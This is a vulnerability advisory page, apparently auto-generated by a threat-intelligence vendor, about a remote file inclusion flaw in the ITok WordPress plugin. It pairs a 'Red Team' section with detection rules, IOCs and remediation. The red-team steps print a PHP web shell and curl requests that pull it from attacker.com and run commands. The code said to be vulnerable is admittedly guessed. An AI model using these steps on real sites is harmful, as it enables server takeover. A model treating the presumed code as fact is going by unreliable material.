CVE-2025-62014
Executive Summary
CVE-2025-62014 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the ITok WordPress plugin by ApusTheme, affecting versions up to and including 1.1.42. This vulnerability allows an unauthenticated attacker to remotely include arbitrary files from external servers, leading to complete server compromise, data exfiltration, and potential lateral movement within the network. The vulnerability stems from improper control of filenames used in PHP include/require statements, specifically within the plugin's file handling logic. Given the plugin's integration with WordPress, this issue poses a significant supply chain risk to any site running the vulnerable version.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and potentially third-party marketplaces. The lack of a confirmed patch from the vendor (Apustheme) means that all sites using ITok <= 1.1.42 are at risk. Organizations should immediately inventory their WordPress installations for this plugin and treat it as a compromised component until a patch is applied or the plugin is removed.
CVSS Breakdown & Threat Level
- CVSS Score: 8.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact on confidentiality, integrity, and availability. An attacker can execute arbitrary PHP code on the server, potentially leading to full site takeover.
Deep Dive & Mechanics
The vulnerability exists in the ITok plugin's file inclusion mechanism, likely within a function that processes user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST) to determine which file to include. The plugin fails to sanitize or validate the filename parameter, allowing an attacker to specify a URL pointing to a remote server hosting malicious PHP code.
Root Cause: The plugin uses a construct similar to:
include($_GET['file'] . '.php');
or
require_once($_REQUEST['template'] . '.php');
Without proper validation, an attacker can supply a full URL (e.g., http://attacker.com/shell.txt) which PHP will include and execute. The .php extension appended by the plugin can be bypassed using a null byte injection (%00) or by hosting the malicious file with a .php extension on the attacker's server.
Attack Flow:
- Attacker identifies a vulnerable WordPress site running ITok <= 1.1.42.
- Attacker crafts a request to a vulnerable endpoint, e.g.,
/?itok_template=http://attacker.com/shell.txt%00. - The plugin includes the remote file, executing the attacker's PHP code.
- The attacker gains remote code execution (RCE) on the web server.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be similar to:
Vulnerable Code (itok.php or similar):
<?php
$template = $_GET['template'];
include( $template . '.php' );
?>
Patched Code (Hypothetical):
<?php
$allowed_templates = array('default', 'fullwidth', 'sidebar');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
include( $template . '.php' );
} else {
// Handle error
}
?>
The patched version would implement a whitelist of allowed template names, preventing arbitrary file inclusion.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable WordPress instance with ITok plugin <= 1.1.42.
- An attacker-controlled server to host the malicious PHP payload.
Exploitation Steps:
Host Malicious Payload: On your attacker server (e.g.,
attacker.com), create a file namedshell.txtcontaining:<?php system($_GET['cmd']); ?>Trigger RFI: Send a crafted HTTP request to the vulnerable WordPress site:
curl "http://target.com/?itok_template=http://attacker.com/shell.txt%00"Execute Commands: Once the shell is included, execute commands:
curl "http://target.com/?cmd=id"
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for requests containing
http://orhttps://in parameters liketemplate,file, oritok_template. - Look for null byte sequences (
%00) in request URIs. - Alert on outbound connections from the web server to unknown IPs on port 80/443.
Hardening:
- Disable the ITok plugin immediately if not essential.
- Implement a Web Application Firewall (WAF) rule to block RFI patterns.
- Set
allow_url_include = Offinphp.ini(though this may break legitimate functionality). - Apply virtual patching via mod_security or similar.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP/HTTPS requests from the web server to suspicious IPs or domains.
- Requests containing
%00in query parameters. - Requests with parameters like
itok_template,template, orfilecontaining full URLs.
File System IOCs:
- Unexpected files in the web root (e.g.,
shell.php,backdoor.php). - Modified
.htaccessfiles. - New cron jobs or systemd timers.
Log IOCs:
- Apache/Nginx access logs showing:
GET /?itok_template=http://evil.com/shell.txt%00 HTTP/1.1 - PHP error logs showing
include()failures for remote URLs.
Detection Engineering
YARA Rule
rule CVE_2025_62014_RFI_Detection {
meta:
description = "Detects PHP RFI attempts targeting CVE-2025-62014 in ITok plugin"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-62014"
strings:
$rfi_pattern1 = /itok_template=http[s]?:\/\// nocase
$rfi_pattern2 = /template=http[s]?:\/\// nocase
$null_byte = "%00"
condition:
any of ($rfi_pattern*) and $null_byte
}
Sigma Rule
title: CVE-2025-62014 ITok Plugin RFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit PHP Remote File Inclusion in ITok WordPress plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'itok_template=http://'
- 'itok_template=https://'
- 'template=http://'
- 'template=https://'
- '%00'
condition: selection
falsepositives:
- Legitimate use of remote templates (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-62014 ITok Plugin RFI Attempt"; flow:to_server,established; content:"itok_template"; http_uri; nocase; content:"http://"; distance:0; within:100; content:"%00"; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable/Remove Plugin: Deactivate and delete the ITok plugin from all WordPress installations until a patch is released.
- Web Application Firewall (WAF): Deploy WAF rules to block RFI patterns (e.g., block URIs containing
http://orhttps://in query parameters). - PHP Configuration: Set
allow_url_include = Offinphp.ini(note: this may break other functionality but is a strong mitigation).
Long-Term Actions:
- Vendor Contact: Reach out to Apustheme for an official patch or replacement plugin.
- Code Audit: If the plugin is critical, perform a manual code audit to identify and fix the vulnerable include statements.
- Monitor: Continuously monitor for exploitation attempts using the provided detection rules.
Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further assistance, contact [valters@example.com].
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.